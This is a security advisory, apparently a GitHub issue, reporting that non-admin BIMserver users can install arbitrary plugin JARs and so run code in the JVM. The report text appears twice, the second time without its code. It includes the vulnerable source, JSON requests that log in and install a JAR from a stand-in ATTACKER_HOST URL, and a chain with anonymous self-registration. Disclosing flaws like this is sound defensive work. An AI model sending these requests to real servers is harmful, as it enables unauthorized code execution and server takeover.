[C1] Non-admin users can install arbitrary plugin JARs, leading to JVM remote code execution
Describe the bug
PluginInterface.installPluginBundleFromUrl allows any authenticated, non-anonymous user to make BIMserver download and install a plugin JAR from an attacker-controlled URL. The endpoint calls requireRealUserAuthentication(), but this check only rejects missing, anonymous, and explicit-rights authorization objects. It does not require an administrator role.
The vulnerable authorization and download path is implemented in PluginServiceImpl.installPluginBundleFromUrl:
public void installPluginBundleFromUrl(String url, Boolean installAllPluginsForAllUsers, Boolean installAllPluginsForNewUsers)
throws UserException, ServerException {
requireRealUserAuthentication();
DatabaseSession session = getBimServer().getDatabase().createSession(OperationType.POSSIBLY_WRITE);
try {
byte[] data = NetUtils.getContentAsBytes(new URL(url), 5000);
session.executeAndCommitAction(
new InstallPluginBundleFromBytes(
session,
getInternalAccessMethod(),
getBimServer(),
data,
installAllPluginsForAllUsers,
installAllPluginsForNewUsers
)
);
} catch (Exception e) {
handleException(e);
} finally {
session.close();
}
}
The authorization helper in GenericServiceImpl permits an ordinary UserAuthorization:
protected void requireRealUserAuthentication() throws UserException {
requireRunningServer();
if (serviceMap.getAuthorization() == null) {
throw new UserException("Authentication required for this call");
}
if (serviceMap.getAuthorization() instanceof ExplicitRightsAuthorization) {
throw new UserException("Real authentication required (this session has token authentication)");
}
if (serviceMap.getAuthorization() instanceof AnonymousAuthorization) {
throw new UserException("Anonymous has no rights for this call");
}
}
After downloading the JAR, executeAndCommitAction() invokes InstallPluginBundleFromBytes.execute() directly. The downstream installer:
- Parses
plugin/plugin.xml and the embedded Maven POM.
- Copies the JAR into the BIMserver plugin directory.
- Creates a class loader for the JAR.
- Loads the implementation class declared in
plugin.xml.
- Instantiates the class and invokes its plugin initialization method.
The decisive class-loading operations are in PluginBundleManager:
Class implementationClass = classLoader.loadClass(implementationClassName);
Plugin plugin = (Plugin) implementationClass.newInstance();
Consequently, static initializers, constructors, and plugin.init() methods from an attacker-supplied JAR execute inside the BIMserver JVM with the operating-system privileges of the BIMserver/Tomcat process.
To Reproduce
Only test this against an authorized BIMserver deployment. Use a benign plugin whose initialization code writes a marker file rather than executing a system command.
-
Host a valid BIMserver plugin JAR on an HTTP server reachable from the target. The JAR must contain:
plugin/plugin.xml
META-INF/maven/<groupId>/<artifactId>/pom.xml
<implementation class declared by plugin.xml>
-
Log in using an ordinary USER account, not an administrator:
POST /bimserver-audit/json HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{
"request": {
"interface": "AuthInterface",
"method": "login",
"parameters": {
"username": "normal-user@example.test",
"password": "UserPassword1!"
}
}
}
Save the value returned in response.result as USER_TOKEN.
-
Using that non-admin token, request installation of the controlled JAR:
POST /bimserver-audit/json HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{
"token": "USER_TOKEN",
"request": {
"interface": "PluginInterface",
"method": "installPluginBundleFromUrl",
"parameters": {
"url": "http://ATTACKER_HOST:19193/marker-plugin.jar",
"installAllPluginsForAllUsers": false,
"installAllPluginsForNewUsers": false
}
}
}
-
Observe that:
- BIMserver connects to
ATTACKER_HOST:19193 and downloads the JAR.
- The JAR is copied to
<BIMSERVER_HOME>/plugins/.
- The implementation class declared in
plugin/plugin.xml is loaded and instantiated.
- The benign marker created by the plugin's static initializer, constructor, or
init() method appears on the server.
On a default exploded WAR deployment where no custom homedir is configured, the plugin is normally stored under:
<Tomcat webapps>/<WAR context>/WEB-INF/plugins/
The stored filename is derived from attacker-controlled Maven metadata:
<groupId>.<artifactId>-<version>.jar
Expected behavior
Plugin installation is a server-administration operation and should be restricted to authenticated administrators or a trusted internal service identity. A normal USER account should receive an authorization error and the server should not:
- Fetch the supplied URL.
- Write the supplied JAR into the plugin directory.
- Load or initialize any class from the JAR.
Remote plugin bundles should additionally be accepted only from explicitly trusted repositories and should be verified before loading.
Additional context
- Severity: Critical
- Vulnerability classes: Improper Authorization, Server-Side Request Forgery, and Code Injection
- Relevant CWEs: CWE-862, CWE-918, CWE-94
- Authentication required by the vulnerable endpoint: Any ordinary authenticated user
- Administrator privileges required: No
The root cause is a mismatch between the sensitivity of plugin installation and the authorization check applied to it. requireRealUserAuthentication() proves only that the caller is not anonymous; it does not prove that the caller is authorized to modify the server's executable plugin set. There is no downstream administrator check in InstallPluginBundleFromBytes or PluginBundleManager.install().
The database action wrapper is not a security boundary. DatabaseSession.executeAndCommitAction invokes the action before attempting a database commit:
T result = action.execute();
if ((objectsToCommit != null && objectsToCommit.size() > 0)
|| (objectsToDelete != null && objectsToDelete.size() > 0)) {
commit(progressHandler);
}
return result;
Therefore, filesystem and JVM side effects occur during action.execute() and cannot be rolled back by the database transaction. Even if plugin initialization later throws an exception and the JAR is deleted, code in a static initializer or constructor may already have executed.
During authorized dynamic testing, a request made with a non-admin USER token caused BIMserver to perform the expected outbound HTTP request, confirming both the authorization weakness and the attacker-controlled server-side fetch. The recorded Stage B attempt used a malformed embedded ZIP and therefore did not create its execution marker. Separately, a valid benign verification plugin was installed and loaded by the same plugin mechanism. The source path from downloaded bytes to loadClass(), newInstance(), and plugin.init() confirms the code-execution consequence for a correctly formed plugin JAR.
This issue can also be chained with any account-creation or credential-compromise weakness. In the audited version, the anonymous addUserWithPassword(..., selfRegistration=true) issue can create a normal user account, after which the attacker can log in and reach this endpoint, converting the authenticated RCE into an unauthenticated attack chain.
[C1] Non-admin users can install arbitrary plugin JARs, leading to JVM remote code execution
Describe the bug
PluginInterface.installPluginBundleFromUrlallows any authenticated, non-anonymous user to make BIMserver download and install a plugin JAR from an attacker-controlled URL. The endpoint callsrequireRealUserAuthentication(), but this check only rejects missing, anonymous, and explicit-rights authorization objects. It does not require an administrator role.The vulnerable authorization and download path is implemented in
PluginServiceImpl.installPluginBundleFromUrl:The authorization helper in
GenericServiceImplpermits an ordinaryUserAuthorization:After downloading the JAR,
executeAndCommitAction()invokesInstallPluginBundleFromBytes.execute()directly. The downstream installer:plugin/plugin.xmland the embedded Maven POM.plugin.xml.The decisive class-loading operations are in
PluginBundleManager:Consequently, static initializers, constructors, and
plugin.init()methods from an attacker-supplied JAR execute inside the BIMserver JVM with the operating-system privileges of the BIMserver/Tomcat process.To Reproduce
Only test this against an authorized BIMserver deployment. Use a benign plugin whose initialization code writes a marker file rather than executing a system command.
Host a valid BIMserver plugin JAR on an HTTP server reachable from the target. The JAR must contain:
Log in using an ordinary
USERaccount, not an administrator:Save the value returned in
response.resultasUSER_TOKEN.Using that non-admin token, request installation of the controlled JAR:
Observe that:
ATTACKER_HOST:19193and downloads the JAR.<BIMSERVER_HOME>/plugins/.plugin/plugin.xmlis loaded and instantiated.init()method appears on the server.On a default exploded WAR deployment where no custom
homediris configured, the plugin is normally stored under:The stored filename is derived from attacker-controlled Maven metadata:
Expected behavior
Plugin installation is a server-administration operation and should be restricted to authenticated administrators or a trusted internal service identity. A normal
USERaccount should receive an authorization error and the server should not:Remote plugin bundles should additionally be accepted only from explicitly trusted repositories and should be verified before loading.
Additional context
The root cause is a mismatch between the sensitivity of plugin installation and the authorization check applied to it.
requireRealUserAuthentication()proves only that the caller is not anonymous; it does not prove that the caller is authorized to modify the server's executable plugin set. There is no downstream administrator check inInstallPluginBundleFromBytesorPluginBundleManager.install().The database action wrapper is not a security boundary.
DatabaseSession.executeAndCommitActioninvokes the action before attempting a database commit:Therefore, filesystem and JVM side effects occur during
action.execute()and cannot be rolled back by the database transaction. Even if plugin initialization later throws an exception and the JAR is deleted, code in a static initializer or constructor may already have executed.During authorized dynamic testing, a request made with a non-admin
USERtoken caused BIMserver to perform the expected outbound HTTP request, confirming both the authorization weakness and the attacker-controlled server-side fetch. The recorded Stage B attempt used a malformed embedded ZIP and therefore did not create its execution marker. Separately, a valid benign verification plugin was installed and loaded by the same plugin mechanism. The source path from downloaded bytes toloadClass(),newInstance(), andplugin.init()confirms the code-execution consequence for a correctly formed plugin JAR.This issue can also be chained with any account-creation or credential-compromise weakness. In the audited version, the anonymous
addUserWithPassword(..., selfRegistration=true)issue can create a normal user account, after which the attacker can log in and reach this endpoint, converting the authenticated RCE into an unauthenticated attack chain.